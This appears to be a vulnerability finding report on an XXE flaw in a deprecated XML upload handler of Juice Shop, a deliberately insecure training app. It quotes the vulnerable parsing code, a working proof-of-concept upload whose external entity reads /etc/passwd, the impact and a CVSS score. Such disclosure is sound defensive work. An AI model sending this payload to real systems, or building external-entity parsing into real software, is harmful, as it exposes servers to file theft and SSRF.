agentggagentgg
Back to all findings
CRITICALconfirmeddeprecated-endpointdeprecated-endpoint-still-reachable173c38158fb4

Deprecated XML upload handler still parses XML with external entities and leaks output via error

`handleXmlUpload` advertises itself as deprecated and returns HTTP 410, yet still parses uploaded XML with `noent: true` (XXE) and then forwards the parsed content into `next(new Error(...))`, leaking parser output to the response.

Fileroutes/fileUpload.ts
Lines78107
Confidence
95%
File statusvalidated
Details

The handler is explicitly labeled deprecated (response text: 'B2B customer complaints via file upload have been deprecated for security reasons') but is still wired into the router and continues to perform meaningful work:

function handleXmlUpload ({ file }: Request, res: Response, next: NextFunction) {
  if (utils.endsWith(file?.originalname.toLowerCase(), '.xml')) {
    challengeUtils.solveIf(challenges.deprecatedInterfaceChallenge, () => { return true })
    if (((file?.buffer) != null) && utils.isChallengeEnabled(challenges.deprecatedInterfaceChallenge)) {
      const data = file.buffer.toString()
      try {
        const sandbox = { libxml, data }
        vm.createContext(sandbox)
        const xmlDoc = vm.runInContext('libxml.parseXml(data, { noblanks: true, noent: true, nocdata: true })', sandbox, { timeout: 2000 })
        const xmlString = xmlDoc.toString(false)
        ...
        res.status(410)
        next(new Error('B2B customer complaints via file upload have been deprecated for security reasons: ' + utils.trunc(xmlString, 400) + ' (' + file.originalname + ')'))

This matches the exact anti-pattern called out in the prompt:

  1. The handler is labeled deprecated (response text + deprecatedInterfaceChallenge).
  2. It is registered in the router (exported and consumed by the file-upload route chain).
  3. It still does meaningful work — parses XML with noent: true which enables external entity resolution (classic XXE → SSRF/file disclosure), and feeds the parsed string into an Error passed to next(). Because Express' default error handler renders err.message, the file contents fetched via XXE (/etc/passwd, C:\Windows\system.ini, etc.) are returned to the caller. The 410 status is effectively cosmetic — next(err) causes the error handler to write the parsed content into the response body.

The vm.createContext sandbox provides no security boundary here; it only adds a 2-second timeout.

Proof of concept
  1. POST a .xml complaint file to the upload route that runs this middleware chain:
POST /file-upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="file"; filename="x.xml"
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
-----X--
  1. Response status is 410, but the error body (rendered by the Express error handler) contains the resolved external entity, leaking /etc/passwd (or C:\Windows\system.ini on Windows).
Impact

Unauthenticated attackers can read arbitrary local files / perform SSRF via XXE on a route advertised as deprecated but still wired in. Because the parsed content is embedded in the Error message handed to next(), file contents are returned in the response body, defeating the apparent 410 short-circuit.

Validation
confirmed

The libxml.parseXml(..., { noent: true }) call enables external entity resolution; vm.createContext only adds a JS timeout and does not protect libxml2 from resolving SYSTEM entities. The parsed xmlString is concatenated into new Error(...) passed to next(), and Juice Shop's errorhandler middleware renders err.message into the response body, so the 410 status does not actually suppress the leak. The handler is exported and wired into the file-upload route, and the surrounding challenges.xxeFileDisclosureChallenge solveIf check confirms this is the intended XXE sink. Scope explicitly forbids downgrading due to Juice Shop's training nature.

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
Base score: 9.3 · CRITICAL

The handler is reachable over the network via a multipart POST to the file-upload route with no authentication check visible in the code, so AV:N/PR:N/UI:N. Exploitation is a single, well-formed XML payload (AC:L). libxml.parseXml(data, { ..., noent: true, ... }) resolves external entities, and the resulting xmlString is embedded in the Error passed to next(), which Express renders into the response body — yielding arbitrary local file disclosure (C:H) and SSRF that can reach internal services beyond this component's authority (S:C). There is no write/modify primitive (I:N); the 2-second vm timeout and xxeDosChallenge path indicate some DoS potential via entity expansion but it is bounded per-request (A:L).

References